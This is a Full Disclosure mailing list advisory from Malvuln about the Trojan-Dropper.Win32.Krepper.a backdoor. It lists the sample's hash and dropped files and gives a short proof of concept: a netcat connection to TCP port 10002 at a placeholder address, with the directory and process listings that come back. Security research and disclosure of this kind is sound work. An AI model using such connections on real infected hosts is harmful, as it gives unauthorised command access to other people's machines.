[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Trojan-Dropper.Win32.Krepper.a / Unauthenticated Remote Command Execution
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-06-24 2:48:01
Message-ID: CAAHK0WSAvJi6i6JCRNczMSY-LE_cyOwfLN-kaUuexR-LNKXrFg () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Krepper.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops several
executables under Windows dir. Third-party attackers who can reach infected
systems can connect to port 10002 and run commands made available by the
backdoor to retrieve information etc
Type: PE32
MD5: ee699b4055c6199f9826681797d64f0b
Vuln ID: MVID-2021-0260
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32

PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
WmiPrvSE.exe
dasHost.exe
svchost.exe
svchost.exe
etc...


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]